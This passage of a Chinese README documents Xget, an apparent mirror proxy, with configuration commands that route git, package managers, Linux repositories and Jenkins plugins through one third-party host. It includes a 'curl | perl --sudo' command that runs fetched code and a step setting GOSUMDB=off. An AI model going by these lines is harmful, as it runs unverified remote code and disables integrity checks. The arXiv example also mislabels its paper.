https://xget.xi-xu.me/ip/huggingface/hf-inference/models/openai/whisper-large-v3 ``` 应用场景见 [AI 推理 API 加速](#ai-推理-api-加速)。 ## 🎯 应用场景 ### Git 操作与配置 #### Git 操作 ```bash # 克隆存储库 git clone https://xget.xi-xu.me/gh/microsoft/vscode.git # 克隆指定分支 git clone -b main https://xget.xi-xu.me/gh/facebook/react.git # 浅克隆(仅最新提交) git clone --depth 1 https://xget.xi-xu.me/gh/torvalds/linux.git # 克隆 GitLab 存储库 git clone https://xget.xi-xu.me/gl/gitlab-org/gitlab.git # 克隆 Gitea 存储库 git clone https://xget.xi-xu.me/gitea/gitea/gitea.git # 克隆 Codeberg 存储库 git clone https://xget.xi-xu.me/codeberg/forgejo/forgejo.git # 克隆 SourceForge 存储库 git clone https://xget.xi-xu.me/sf/projects/mingw-w64/code.git # 克隆 AOSP 存储库 git clone https://xget.xi-xu.me/aosp/platform/frameworks/base.git # 添加远程存储库 git remote add upstream https://xget.xi-xu.me/gh/[所有者]/[存储库].git # 拉取更新 git pull https://xget.xi-xu.me/gh/microsoft/vscode.git main # 子模块递归克隆 git clone --recursive https://xget.xi-xu.me/gh/[用户名]/[带子模块的存储库].git ``` #### Git 全局加速配置 ```bash # 为特定域名配置 Git 使用 Xget git config --global url."https://xget.xi-xu.me/gh/".insteadOf "https://github.com/" git config --global url."https://xget.xi-xu.me/gl/".insteadOf "https://gitlab.com/" git config --global url."https://xget.xi-xu.me/gitea/".insteadOf "https://gitea.com/" git config --global url."https://xget.xi-xu.me/codeberg/".insteadOf "https://codeberg.org/" git config --global url."https://xget.xi-xu.me/sf/".insteadOf "https://sourceforge.net/" git config --global url."https://xget.xi-xu.me/aosp/".insteadOf "https://android.googlesource.com/" # 验证配置 git config --global --get-regexp url # 现在所有相关平台的 git clone 都会自动使用 Xget git clone https://github.com/microsoft/vscode.git # 自动转换为 Xget URL git clone https://gitlab.com/gitlab-org/gitlab.git # 自动转换为 Xget URL git clone https://codeberg.org/forgejo/forgejo.git # 自动转换为 Xget URL git clone https://android.googlesource.com/platform/frameworks/base.git # 自动转换为 Xget URL ``` ### 主流下载工具集成 #### wget 下载 ```bash # 下载单个文件 wget https://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip # 断点续传 wget -c https://xget.xi-xu.me/hf/microsoft/DialoGPT-large/resolve/main/pytorch_model.bin # 批量下载 wget -i urls.txt # urls.txt 包含多个 Xget URL ``` #### cURL 下载 ```bash # 基本下载 curl -L -O https://xget.xi-xu.me/gh/golang/go/archive/refs/tags/go1.22.0.tar.gz # 显示进度条 curl -L --progress-bar -o model.bin https://xget.xi-xu.me/hf/openai/whisper-large-v3/resolve/main/pytorch_model.bin # 设置用户代理 curl -L -H "User-Agent: MyApp/1.0" https://xget.xi-xu.me/gl/gitlab-org/gitlab-runner/-/archive/main/gitlab-runner-main.zip ``` #### aria2 多线程下载 ```bash # 多线程下载大文件 aria2c -x 16 -s 16 https://xget.xi-xu.me/hf/microsoft/DialoGPT-large/resolve/main/pytorch_model.bin # 断点续传 aria2c -c https://xget.xi-xu.me/gh/microsoft/vscode/archive/refs/heads/main.zip # 批量下载配置文件 aria2c -i download-list.txt # 包含多个 Xget URL 的文件 ``` ### Hugging Face 镜像 ```python import os from transformers import AutoTokenizer, AutoModelForCausalLM # 设置环境变量,让 transformers 库自动使用 Xget 镜像 os.environ['HF_ENDPOINT'] = 'https://xget.xi-xu.me/hf' # 定义模型名称 model_name = 'microsoft/DialoGPT-medium' print(f"正在从镜像下载模型: {model_name}") # 使用 AutoModelForCausalLM 来加载对话生成模型 # 由于上面设置了环境变量,这里无需添加任何额外参数 tokenizer = AutoTokenizer.from_pretrained(model_name) model = AutoModelForCausalLM.from_pretrained(model_name) print("模型和分词器加载成功!") # 你现在可以使用 tokenizer 和 model 了 # 例如: # new_user_input_ids = tokenizer.encode("Hello, how are you?", return_tensors='pt') # chat_history_ids = model.generate(new_user_input_ids, max_length=1000, pad_token_id=tokenizer.eos_token_id) # print(tokenizer.decode(chat_history_ids[:, new_user_input_ids.shape[-1]:][0], skip_special_tokens=True)) ``` ### Civitai AI 模型平台 ```python import requests # 设置 API 基础 URL 使用 Xget base_url = "https://xget.xi-xu.me/civitai" # 获取模型信息 def get_model_info(model_id): """获取 Civitai 模型信息""" url = f"{base_url}/api/v1/models/{model_id}" response = requests.get(url) return response.json() # 下载模型 def download_model(model_version_id, output_path): """下载 Civitai 模型文件""" download_url = f"{base_url}/api/download/models/{model_version_id}" print(f"正在下载模型版本 {model_version_id}...") response = requests.get(download_url, stream=True) response.raise_for_status() with open(output_path, 'wb') as f: for chunk in response.iter_content(chunk_size=8192): f.write(chunk) print(f"模型已下载到: {output_path}") # 使用示例 model_id = 7240 # 示例模型 ID model_info = get_model_info(model_id) print(f"模型名称: {model_info['name']}") # 下载第一个模型版本 if model_info['modelVersions']: version_id = model_info['modelVersions'][0]['id'] download_model(version_id, f"model_{version_id}.safetensors") ``` ### npm 包管理加速 #### 配置 npm 使用 Xget 镜像 ```bash # 临时使用 Xget 镜像 npm install --registry https://xget.xi-xu.me/npm/ # 全局配置 npm 镜像 npm config set registry https://xget.xi-xu.me/npm/ # 验证配置 npm config get registry ``` #### 配置 Bun 使用 Xget 镜像 ```toml # bunfig.toml(项目级)或 ~/.bunfig.toml(全局) [install] registry = "https://xget.xi-xu.me/npm/" ``` ```bash # 使用 Bun 安装依赖 bun install # Bun 也支持 .npmrc,可直接复用已有的 npm 镜像配置 echo "registry=https://xget.xi-xu.me/npm/" > .npmrc bun install ``` #### 在项目中使用(npm / Bun) ```bash # 在 .npmrc 文件中配置项目级镜像(npm / Bun 可复用) echo "registry=https://xget.xi-xu.me/npm/" > .npmrc # 使用 npm 安装依赖 npm install # 使用 Bun 安装依赖 bun install ``` ### Python 包管理加速 #### 配置 pip 使用 Xget 镜像 ```bash # 临时使用 Xget 镜像 pip install requests -i https://xget.xi-xu.me/pypi/simple/ # 全局配置 pip 镜像 pip config set global.index-url https://xget.xi-xu.me/pypi/simple/ pip config set global.trusted-host xget.xi-xu.me # 验证配置 pip config list ``` #### 在项目中使用 ```bash # 创建 pip.conf 文件(Linux/macOS) mkdir -p ~/.pip cat > ~/.pip/pip.conf << EOF [global] index-url = https://xget.xi-xu.me/pypi/simple/ trusted-host = xget.xi-xu.me EOF # 或在项目根目录创建 pip.conf cat > pip.conf << EOF [global] index-url = https://xget.xi-xu.me/pypi/simple/ trusted-host = xget.xi-xu.me EOF # 使用配置文件安装 pip install -r requirements.txt --config-file pip.conf ``` #### 在 requirements.txt 中指定镜像 ```txt # requirements.txt --index-url https://xget.xi-xu.me/pypi/simple/ --trusted-host xget.xi-xu.me requests>=2.25.0 numpy>=1.21.0 pandas>=1.3.0 matplotlib>=3.4.0 ``` ### conda 包管理加速 #### 配置 conda 使用 Xget 镜像 ```bash # 配置默认频道镜像 conda config --add default_channels https://xget.xi-xu.me/conda/pkgs/msys2 conda config --add default_channels https://xget.xi-xu.me/conda/pkgs/r conda config --add default_channels https://xget.xi-xu.me/conda/pkgs/main # 配置所有社区频道镜像(推荐) conda config --set channel_alias https://xget.xi-xu.me/conda/community # 或配置特定社区频道 conda config --add channels https://xget.xi-xu.me/conda/community/conda-forge conda config --add channels https://xget.xi-xu.me/conda/community/bioconda # 设置频道优先级 conda config --set channel_priority strict # 验证配置 conda config --show ``` #### 在 .condarc 中配置 .condarc 文件可以放在用户主目录(`~/.condarc`)或项目根目录下: ```yaml default_channels: - https://xget.xi-xu.me/conda/pkgs/main - https://xget.xi-xu.me/conda/pkgs/r - https://xget.xi-xu.me/conda/pkgs/msys2 channel_alias: https://xget.xi-xu.me/conda/community channel_priority: strict show_channel_urls: true ``` #### 使用环境文件 环境文件中可以直接指定完整的镜像 URL: ```yaml # environment.yml name: myproject channels: - https://xget.xi-xu.me/conda/pkgs/main - https://xget.xi-xu.me/conda/pkgs/r - https://xget.xi-xu.me/conda/community/bioconda - https://xget.xi-xu.me/conda/community/conda-forge dependencies: - python=3.11 - numpy>=1.24.0 - pandas>=2.0.0 - matplotlib>=3.7.0 - scipy>=1.10.0 - pip - pip: - requests>=2.28.0 ``` ```bash # 使用环境文件创建环境 conda env create -f environment.yml # 更新环境 conda env update -f environment.yml ``` ### Maven 包管理加速 #### 配置 Maven 使用 Xget 镜像 ```xml xget-maven-central central Xget Maven Central Mirror https://xget.xi-xu.me/maven/maven2 ``` #### 在项目中使用 ```xml xget-maven-central Xget Maven Central https://xget.xi-xu.me/maven/maven2 xget-maven-central Xget Maven Central https://xget.xi-xu.me/maven/maven2 ``` ```bash # 使用命令行指定镜像 mvn clean install -Dmaven.repo.remote=https://xget.xi-xu.me/maven/maven2 # 下载特定依赖 mvn dependency:get -Dartifact=org.springframework:spring-core:5.3.21 \ -DremoteRepositories=https://xget.xi-xu.me/maven/maven2 ``` ### Apache 软件下载加速 #### 使用 Xget 下载 Apache 软件 ```bash # 下载 Apache Kafka wget https://xget.xi-xu.me/apache/kafka/3.6.1/kafka_2.13-3.6.1.tgz # 下载 Apache Maven curl -L -O https://xget.xi-xu.me/apache/maven/maven-3/3.9.5/binaries/apache-maven-3.9.5-bin.tar.gz # 下载 Apache Spark aria2c https://xget.xi-xu.me/apache/spark/spark-3.5.0/spark-3.5.0-bin-hadoop3.tgz # 下载 Apache Hadoop wget https://xget.xi-xu.me/apache/hadoop/common/hadoop-3.3.6/hadoop-3.3.6.tar.gz # 下载 Apache Flink curl -L -O https://xget.xi-xu.me/apache/flink/flink-1.18.1/flink-1.18.1-bin-scala_2.12.tgz ``` #### 常用 Apache 软件下载 ```bash # 大数据相关 wget https://xget.xi-xu.me/apache/hive/hive-3.1.3/apache-hive-3.1.3-bin.tar.gz wget https://xget.xi-xu.me/apache/hbase/2.5.7/hbase-2.5.7-bin.tar.gz wget https://xget.xi-xu.me/apache/zookeeper/zookeeper-3.8.4/apache-zookeeper-3.8.4-bin.tar.gz # Web 服务器 wget https://xget.xi-xu.me/apache/httpd/httpd-2.4.59.tar.gz wget https://xget.xi-xu.me/apache/tomcat/tomcat-10/v10.1.19/bin/apache-tomcat-10.1.19.tar.gz # 开发工具 wget https://xget.xi-xu.me/apache/ant/1.10.14/apache-ant-1.10.14-bin.tar.gz wget https://xget.xi-xu.me/apache/netbeans/netbeans/20/netbeans-20-bin.zip ``` ### Gradle 包管理加速 #### 配置 Gradle 使用 Xget 镜像 ```gradle // 在 build.gradle 中配置 Gradle 镜像 repositories { maven { url 'https://xget.xi-xu.me/maven/maven2' } gradlePluginPortal { url 'https://xget.xi-xu.me/gradle/m2' } } // 配置插件存储库 pluginManagement { repositories { maven { url 'https://xget.xi-xu.me/gradle/m2' } gradlePluginPortal() } } ``` #### 全局配置 ```gradle // 在 ~/.gradle/init.gradle 中配置全局镜像 allprojects { repositories { maven { url 'https://xget.xi-xu.me/maven/maven2' } } } settingsEvaluated { settings -> settings.pluginManagement { repositories { maven { url 'https://xget.xi-xu.me/gradle/m2' } gradlePluginPortal() } } } ``` ```bash # 使用命令行指定镜像 gradle build -Dmaven.repo.remote=https://xget.xi-xu.me/maven/maven2 # 刷新依赖 gradle build --refresh-dependencies ``` ### Homebrew 包管理加速 #### 配置 Homebrew 使用 Xget 镜像 ```bash # 设置 Homebrew 环境变量使用 Xget 镜像 export HOMEBREW_BREW_GIT_REMOTE="https://xget.xi-xu.me/homebrew/brew.git" export HOMEBREW_CORE_GIT_REMOTE="https://xget.xi-xu.me/homebrew/homebrew-core.git" export HOMEBREW_API_DOMAIN="https://xget.xi-xu.me/homebrew/api" export HOMEBREW_BOTTLE_DOMAIN="https://xget.xi-xu.me/homebrew/bottles" # 更新 Homebrew brew update ``` #### 长期配置 ```bash # 为 bash 用户添加到 ~/.bash_profile echo 'export HOMEBREW_BREW_GIT_REMOTE="https://xget.xi-xu.me/homebrew/brew.git"' >> ~/.bash_profile echo 'export HOMEBREW_CORE_GIT_REMOTE="https://xget.xi-xu.me/homebrew/homebrew-core.git"' >> ~/.bash_profile echo 'export HOMEBREW_API_DOMAIN="https://xget.xi-xu.me/homebrew/api"' >> ~/.bash_profile echo 'export HOMEBREW_BOTTLE_DOMAIN="https://xget.xi-xu.me/homebrew/bottles"' >> ~/.bash_profile # 为 zsh 用户添加到 ~/.zprofile echo 'export HOMEBREW_BREW_GIT_REMOTE="https://xget.xi-xu.me/homebrew/brew.git"' >> ~/.zprofile echo 'export HOMEBREW_CORE_GIT_REMOTE="https://xget.xi-xu.me/homebrew/homebrew-core.git"' >> ~/.zprofile echo 'export HOMEBREW_API_DOMAIN="https://xget.xi-xu.me/homebrew/api"' >> ~/.zprofile echo 'export HOMEBREW_BOTTLE_DOMAIN="https://xget.xi-xu.me/homebrew/bottles"' >> ~/.zprofile ``` #### 在项目中使用 ```bash # 安装软件包 brew install git # 搜索软件包 brew search python # 更新软件包 brew upgrade # 查看已安装软件包 brew list ``` #### 验证镜像配置 ```bash # 检查 Homebrew 配置 brew config # 查看环境变量 echo $HOMEBREW_API_DOMAIN echo $HOMEBREW_BOTTLE_DOMAIN ``` ### Ruby 包管理加速 #### 配置 RubyGems 使用 Xget 镜像 ```bash # 临时使用 Xget 镜像 gem install rails --source https://xget.xi-xu.me/rubygems/ # 全局配置 RubyGems 镜像 gem sources --add https://xget.xi-xu.me/rubygems/ gem sources --remove https://rubygems.org/ # 验证配置 gem sources -l ``` #### 在项目中使用 ```ruby # 在 Gemfile 中配置项目级镜像 source 'https://xget.xi-xu.me/rubygems/' gem 'rails', '~> 7.0.0' gem 'pg', '~> 1.1' gem 'puma', '~> 5.0' ``` ```bash # 使用 bundle 安装 bundle config mirror.https://rubygems.org https://xget.xi-xu.me/rubygems/ bundle install ``` ### R 包管理加速 #### 配置 R 使用 Xget CRAN 镜像 ```r # 在 R 中临时使用 Xget CRAN 镜像 install.packages("ggplot2", repos = "https://xget.xi-xu.me/cran/") # 全局配置 CRAN 镜像 options(repos = c(CRAN = "https://xget.xi-xu.me/cran/")) # 验证配置 getOption("repos") ``` #### 在 .Rprofile 中配置 ```r # 在用户主目录的 .Rprofile 文件中配置全局镜像 options(repos = c( CRAN = "https://xget.xi-xu.me/cran/", BioCsoft = "https://bioconductor.org/packages/release/bioc", BioCann = "https://bioconductor.org/packages/release/data/annotation", BioCexp = "https://bioconductor.org/packages/release/data/experiment" )) # 设置下载方法 options(download.file.method = "libcurl") ``` #### 在项目中使用 ```r # 在项目的 renv.lock 或脚本中指定镜像 renv::init() renv::settings$repos.override(c(CRAN = "https://xget.xi-xu.me/cran/")) # 安装包 install.packages(c("dplyr", "ggplot2", "tidyr")) # 或使用 pak 包管理器 pak::pkg_install("tidyverse", repos = "https://xget.xi-xu.me/cran/") ``` ```bash # 在命令行中使用 R 脚本安装包 Rscript -e "options(repos = c(CRAN = 'https://xget.xi-xu.me/cran/')); install.packages('ggplot2')" # 批量安装包 Rscript -e " options(repos = c(CRAN = 'https://xget.xi-xu.me/cran/')) packages <- c('dplyr', 'ggplot2', 'tidyr', 'readr') install.packages(packages) " ``` ### Perl 包管理加速 #### 配置 CPAN 使用 Xget 镜像 ```bash # 配置 CPAN 使用 Xget 镜像 cpan o conf urllist push https://xget.xi-xu.me/cpan/ cpan o conf commit # 或者直接编辑配置文件 ~/.cpan/CPAN/MyConfig.pm # 添加: # 'urllist' => [q[https://xget.xi-xu.me/cpan/]], ``` #### 使用 cpanm 安装模块 ```bash # 安装 cpanm(如果没有) curl -L https://cpanmin.us | perl - --sudo App::cpanminus # 使用 Xget 镜像安装模块 cpanm --mirror https://xget.xi-xu.me/cpan/ DBI cpanm --mirror https://xget.xi-xu.me/cpan/ Mojolicious # 从 Makefile.PL 安装依赖 cpanm --mirror https://xget.xi-xu.me/cpan/ --installdeps . ``` #### 在项目中使用 ```perl # 在 cpanfile 中列出依赖 requires 'DBI'; requires 'Mojolicious'; requires 'JSON'; # 然后使用 Xget 镜像安装 cpanm --mirror https://xget.xi-xu.me/cpan/ --installdeps . ``` ### TeX/LaTeX 包管理加速 #### 配置 TeX Live 使用 Xget CTAN 镜像 ```bash # 配置 tlmgr 使用 Xget CTAN 镜像 tlmgr option repository https://xget.xi-xu.me/ctan/systems/texlive/tlnet # 更新包数据库 tlmgr update --self --all # 安装包 tlmgr install beamer tlmgr install tikz ``` #### 配置 MiKTeX 使用 Xget 镜像 ```bash # Windows MiKTeX 配置 mpm --set-repository=https://xget.xi-xu.me/ctan/systems/win32/miktex # 更新包数据库 mpm --update-db # 安装包 mpm --install=beamer mpm --install=pgf ``` #### 在项目中使用 ```bash # LaTeX 文档编译时自动安装缺失包 pdflatex --shell-escape document.tex # 或手动安装特定包 tlmgr install caption tlmgr install subcaption tlmgr install algorithm2e ``` ### Go 模块加速 #### 配置 Go 使用 Xget 代理 ```bash # 配置 Go 模块代理 export GOPROXY=https://xget.xi-xu.me/golang,direct export GOSUMDB=off # 或者永久配置 go env -w GOPROXY=https://xget.xi-xu.me/golang,direct go env -w GOSUMDB=off # 验证配置 go env GOPROXY ``` #### 在项目中使用 ```bash # 下载依赖 go mod download # 更新依赖 go get -u ./... # 清理模块缓存 go clean -modcache ``` ### NuGet 包管理加速 #### 配置 NuGet 使用 Xget 镜像 ```bash # 添加 Xget 包源 dotnet nuget add source https://xget.xi-xu.me/nuget/v3/index.json -n xget # 列出包源 dotnet nuget list source # 在项目中使用 dotnet restore --source https://xget.xi-xu.me/nuget/v3/index.json ``` #### 在 NuGet.Config 中配置 ```xml ``` ### Rust 包管理加速 #### 配置 Cargo 使用 Xget 镜像 ```bash # 配置 Cargo 使用 Xget 镜像(在 ~/.cargo/config.toml 中) mkdir -p ~/.cargo cat >> ~/.cargo/config.toml << EOF [source.crates-io] replace-with = "xget" [source.xget] registry = "https://xget.xi-xu.me/crates/" EOF # 验证配置 cargo search serde ``` #### 在项目中使用 ```toml # 在 Cargo.toml 中可以正常使用依赖 [dependencies] serde = "1.0" tokio = "1.0" reqwest = "0.11" ``` ```bash # 构建项目时会自动使用 Xget cargo build # 更新依赖 cargo update # 添加新依赖 cargo add clap ``` ### PHP 包管理加速 #### 配置 Composer 使用 Xget 镜像 ```bash # 全局配置 Composer 镜像 composer config -g repo.packagist composer https://xget.xi-xu.me/packagist/ # 项目级配置 composer config repo.packagist composer https://xget.xi-xu.me/packagist/ # 验证配置 composer config -l ``` #### 在 composer.json 中配置 ```json { "repositories": [ { "type": "composer", "url": "https://xget.xi-xu.me/packagist/" } ], "require": { "symfony/console": "^6.0", "guzzlehttp/guzzle": "^7.0" } } ``` ### Flathub 存储库镜像 #### 配置 Flatpak / Flathub 使用 Xget 镜像 ```bash # 如果之前从未添加过 Flathub,请先导入官方描述文件, # 让 Flatpak 信任 Flathub 的签名密钥。 flatpak remote-add --if-not-exists flathub \ https://dl.flathub.org/repo/flathub.flatpakrepo # 然后把现有 Flathub 远程仓库改写到 Xget 镜像 flatpak remote-modify flathub \ --url=https://xget.xi-xu.me/flathub/repo/ # 需要时恢复默认上游地址 flatpak remote-modify flathub \ --url=https://dl.flathub.org/repo/ ``` Xget 镜像的是 Flathub 的 OSTree 仓库端点。根据当前 Flatpak 客户端的实际行为,直接导入镜像 `.flatpakrepo` 描述文件,或者直接添加镜像仓库 URL,仍然可能回退到上游 Flathub 地址,或者因为未导入签名密钥而失败,因此更可靠的做法是先添加官方 Flathub,再通过 `flatpak remote-modify ... --url=...` 改写远程地址。若你使用系统级远程仓库,请在相同命令前加上 `sudo`。 #### 支持的 Flathub 服务 ```url # OSTree 存储库元数据 https://xget.xi-xu.me/flathub/repo/config https://xget.xi-xu.me/flathub/repo/summary https://xget.xi-xu.me/flathub/repo/summary.sig https://xget.xi-xu.me/flathub/repo/summary.idx https://xget.xi-xu.me/flathub/repo/summaries/... # Flatpak 远程仓库描述文件 https://xget.xi-xu.me/flathub/repo/flathub.flatpakrepo # 应用引用描述文件 https://xget.xi-xu.me/flathub/repo/appstream/[应用 ID].flatpakref # 存储库对象与静态增量 https://xget.xi-xu.me/flathub/repo/objects/... https://xget.xi-xu.me/flathub/repo/deltas/... https://xget.xi-xu.me/flathub/repo/delta-indexes/... ``` #### 使用示例 ```bash # 确认保存下来的远程仓库 URL 已经指向 Xget flatpak remotes --show-details # 查看远程仓库内容 flatpak remote-ls flathub # 在改写 Flathub 远程仓库后安装应用 flatpak install flathub org.gnome.gedit # 直接通过重写后的 .flatpakref 安装 flatpak install --from \ https://xget.xi-xu.me/flathub/repo/appstream/org.gnome.gedit.flatpakref # 排查问题时打印 libcurl HTTP 调试输出 OSTREE_DEBUG_HTTP=1 flatpak remote-ls flathub # 更新已安装的应用和运行时 flatpak update ``` ### Linux 发行版加速 #### Debian/Ubuntu APT 配置 ```bash # 备份原始源列表 sudo cp /etc/apt/sources.list /etc/apt/sources.list.backup # 配置 Debian 镜像 echo "deb https://xget.xi-xu.me/debian/debian bookworm main" | sudo tee /etc/apt/sources.list echo "deb https://xget.xi-xu.me/debian/debian-security bookworm-security main" | sudo tee -a /etc/apt/sources.list # 配置 Ubuntu 镜像 echo "deb https://xget.xi-xu.me/ubuntu/ubuntu jammy main restricted universe multiverse" | sudo tee /etc/apt/sources.list echo "deb https://xget.xi-xu.me/ubuntu/ubuntu jammy-updates main restricted universe multiverse" | sudo tee -a /etc/apt/sources.list # 更新包列表 sudo apt update ``` #### Fedora DNF 配置 ```bash # 配置 Fedora 镜像 sudo sed -i 's|^metalink=|#metalink=|g' /etc/yum.repos.d/fedora*.repo sudo sed -i 's|^#baseurl=http://download.example/pub/fedora/linux|baseurl=https://xget.xi-xu.me/fedora/pub/fedora/linux|g' /etc/yum.repos.d/fedora*.repo # 更新包缓存 sudo dnf makecache ``` #### Rocky Linux DNF 配置 ```bash # 配置 Rocky Linux 镜像 sudo sed -i 's|^mirrorlist=|#mirrorlist=|g' /etc/yum.repos.d/rocky*.repo sudo sed -i 's|^#baseurl=http://dl.rockylinux.org|baseurl=https://xget.xi-xu.me/rocky|g' /etc/yum.repos.d/rocky*.repo # 更新包缓存 sudo dnf makecache ``` #### openSUSE Zypper 配置 ```bash # 配置 openSUSE Leap 镜像 sudo zypper mr -d repo-oss sudo zypper ar -f https://xget.xi-xu.me/opensuse/distribution/leap/15.5/repo/oss/ repo-oss-xget # 配置 openSUSE Tumbleweed 镜像 sudo zypper mr -d repo-oss sudo zypper ar -f https://xget.xi-xu.me/opensuse/tumbleweed/repo/oss/ repo-oss-xget # 刷新软件源 sudo zypper refresh # 验证配置 sudo zypper lr -u ``` #### Arch Linux Pacman 配置 ```bash # 备份原始镜像列表 sudo cp /etc/pacman.d/mirrorlist /etc/pacman.d/mirrorlist.backup # 配置 Arch Linux 镜像 echo 'Server = https://xget.xi-xu.me/arch/$repo/os/$arch' | sudo tee /etc/pacman.d/mirrorlist # 更新包数据库 sudo pacman -Sy ``` ### 学术资源加速 #### arXiv 论文下载 ```bash # 下载 arXiv 论文 PDF wget https://xget.xi-xu.me/arxiv/pdf/2301.07041.pdf # 下载论文源码 curl -L -O https://xget.xi-xu.me/arxiv/e-print/2301.07041 # 批量下载多篇论文 for id in 2301.07041 2302.13971 2303.08774; do wget https://xget.xi-xu.me/arxiv/pdf/${id}.pdf done ``` #### 在学术工具中使用 ```python # 在 Python 中使用 arXiv 加速下载 import requests def download_arxiv_paper(arxiv_id, output_path): url = f"https://xget.xi-xu.me/arxiv/pdf/{arxiv_id}.pdf" response = requests.get(url) if response.status_code == 200: with open(output_path, 'wb') as f: f.write(response.content) print(f"Downloaded {arxiv_id} to {output_path}") else: print(f"Failed to download {arxiv_id}") # 下载论文 download_arxiv_paper("2301.07041", "attention_is_all_you_need.pdf") ``` ### F-Droid 存储库镜像 #### 配置 F-Droid 客户端使用 Xget 镜像 1. 在 F-Droid 应用中进入**设置** → **存储库** 2. 点击 **+** 后输入存储库 URL:`https://xget.xi-xu.me/fdroid/repo` 3. 点击**添加**后再点击**添加镜像** #### 支持的 F-Droid 服务 ```url # F-Droid 应用 APK 下载 https://xget.xi-xu.me/fdroid/repo/[包名]_[版本号].apk # F-Droid 存储库索引 https://xget.xi-xu.me/fdroid/repo/index-v1.jar # F-Droid 应用图标 https://xget.xi-xu.me/fdroid/repo/icons-640/[包名].[版本号].png # F-Droid API 接口 https://xget.xi-xu.me/fdroid/api/v1/packages/[包名] ``` #### 使用示例 ```bash # 直接下载 F-Droid 客户端 APK wget https://xget.xi-xu.me/fdroid/repo/org.fdroid.fdroid_1016050.apk # 下载其他开源应用 curl -L -O https://xget.xi-xu.me/fdroid/repo/org.mozilla.fennec_fdroid_1014000.apk # 获取应用信息 curl https://xget.xi-xu.me/fdroid/api/v1/packages/org.fdroid.fdroid ``` #### 批量应用管理 ```bash # 创建应用下载脚本 cat > download_fdroid_apps.sh << 'EOF' #!/bin/bash # 定义要下载的应用列表 apps=( "org.fdroid.fdroid_1016050.apk" "org.mozilla.fennec_fdroid_1014000.apk" "com.termux_1180.apk" "org.videolan.vlc_13050399.apk" ) # 创建下载目录 mkdir -p fdroid_apps # 批量下载应用 for app in "${apps[@]}"; do echo "正在下载: $app" wget -P fdroid_apps "https://xget.xi-xu.me/fdroid/repo/$app" done echo "所有应用下载完成!" EOF chmod +x download_fdroid_apps.sh ./download_fdroid_apps.sh ``` #### 开发者集成 对于 Android 开发者,可以在构建脚本中集成 F-Droid 镜像: ```gradle // 在 build.gradle 中配置 F-Droid 依赖检查 task checkFDroidAvailability { doLast { def fdroidUrl = "https://xget.xi-xu.me/fdroid/api/v1/packages/${project.name}" try { def connection = new URL(fdroidUrl).openConnection() connection.requestMethod = 'GET' def responseCode = connection.responseCode if (responseCode == 200) { println "应用在 F-Droid 上可用: $fdroidUrl" } } catch (Exception e) { println "检查 F-Droid 可用性时出错: ${e.message}" } } } ``` ### Jenkins 插件下载 #### 使用 Xget 加速 Jenkins 插件下载和更新 支持 Jenkins 更新中心和插件下载,兼容清华镜像等国内镜像源的配置方式。 #### Jenkins 更新中心配置 ##### 方法一:在 Jenkins Web 界面配置 1. 登录 Jenkins 管理界面 2. 进入 **Manage Jenkins** → **Plugins** → **Advanced** 3. 在 **Update Site** 部分,将 URL 更改为 `https://xget.xi-xu.me/jenkins/update-center.json` 4. 点击 **Submit** 保存配置 ##### 方法二:修改配置文件 ```bash # 在 Jenkins 服务器上修改更新中心配置文件 # 默认位置:$JENKINS_HOME/hudson.model.UpdateCenter.xml sudo nano /var/lib/jenkins/hudson.model.UpdateCenter.xml # 将 URL 改为: # https://xget.xi-xu.me/jenkins/update-center.json # 重启 Jenkins 服务 sudo systemctl restart jenkins ``` #### 支持的 Jenkins 服务 ```url # Jenkins 更新中心 JSON https://xget.xi-xu.me/jenkins/update-center.json # Jenkins 更新中心(实际 JSON 格式) https://xget.xi-xu.me/jenkins/update-center.actual.json # Jenkins 插件下载 https://xget.xi-xu.me/jenkins/download/plugins/[插件名]/[版本]/[插件名].hpi # 实验性插件更新中心 https://xget.xi-xu.me/jenkins/experimental/update-center.json ``` #### 使用示例 ```bash # 下载 Maven 插件 wget https://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi # 下载 Git 插件 curl -L -O https://xget.xi-xu.me/jenkins/download/plugins/git/5.2.1/git.hpi # 获取更新中心信息 curl https://xget.xi-xu.me/jenkins/update-center.json # 批量下载常用插件 cat > download_jenkins_plugins.sh << 'EOF' #!/bin/bash # 定义要下载的插件列表 plugins=( "git:5.2.1" "maven-plugin:3.27" "workflow-aggregator:596.v8c21c963d92d" "blueocean:1.27.8" "docker-workflow:563.vd5d2e5c4007f" ) # 创建插件下载目录 mkdir -p jenkins_plugins # 批量下载插件 for plugin in "${plugins[@]}"; do name=$(echo $plugin | cut -d: -f1) version=$(echo $plugin | cut -d: -f2) echo "正在下载插件: $name v$version" wget -P jenkins_plugins "https://xget.xi-xu.me/jenkins/download/plugins/$name/$version/$name.hpi" done echo "所有插件下载完成!" EOF chmod +x download_jenkins_plugins.sh ./download_jenkins_plugins.sh ``` #### 离线 Jenkins 部署 对于无网络环境的 Jenkins 部署: ```bash # 1. 下载 Jenkins 核心文件 wget https://xget.xi-xu.me/jenkins/war/jenkins.war # 2. 创建插件打包脚本 cat > prepare_jenkins_offline.sh << 'EOF' #!/bin/bash # 创建离线部署目录结构 mkdir -p jenkins_offline/{plugins,update_center} # 下载更新中心配置 curl -o jenkins_offline/update_center/update-center.json \ https://xget.xi-xu.me/jenkins/update-center.json # 必备插件列表 essential_plugins=( "ant:475.vf34069fef73c" "build-timeout:1.31" "credentials:1319.v7eb_51b_3a_c97b_" "git:5.2.1" "github:1.38.0" "gradle:2.8.2" "ldap:682.v7b_544c9d1512" "mailer:463.vedf8358e006b_" "matrix-auth:3.2.2" "maven-plugin:3.27" "pam-auth:1.10" "pipeline-stage-view:2.34" "ssh-slaves:2.973.v0fa_8c0dea_f9f" "timestamper:1.26" "workflow-aggregator:596.v8c21c963d92d" "ws-cleanup:0.45" ) # 下载所有必备插件 for plugin in "${essential_plugins[@]}"; do name=$(echo $plugin | cut -d: -f1) version=$(echo $plugin | cut -d: -f2) echo "下载 $name:$version" wget -P jenkins_offline/plugins \ "https://xget.xi-xu.me/jenkins/download/plugins/$name/$version/$name.hpi" done # 创建部署说明 cat > jenkins_offline/deploy_instructions.md << 'DEPLOY' # Jenkins 离线部署说明 1. 将 jenkins.war 复制到目标服务器 2. 启动 Jenkins:java -jar jenkins.war 3. 将 plugins/ 目录中的 .hpi 文件复制到 $JENKINS_HOME/plugins/ 4. 重启 Jenkins DEPLOY echo "离线部署包准备完成!" EOF chmod +x prepare_jenkins_offline.sh ./prepare_jenkins_offline.sh ``` #### 在项目中使用 ##### Jenkinsfile 中的插件检查 ```groovy pipeline { agent any 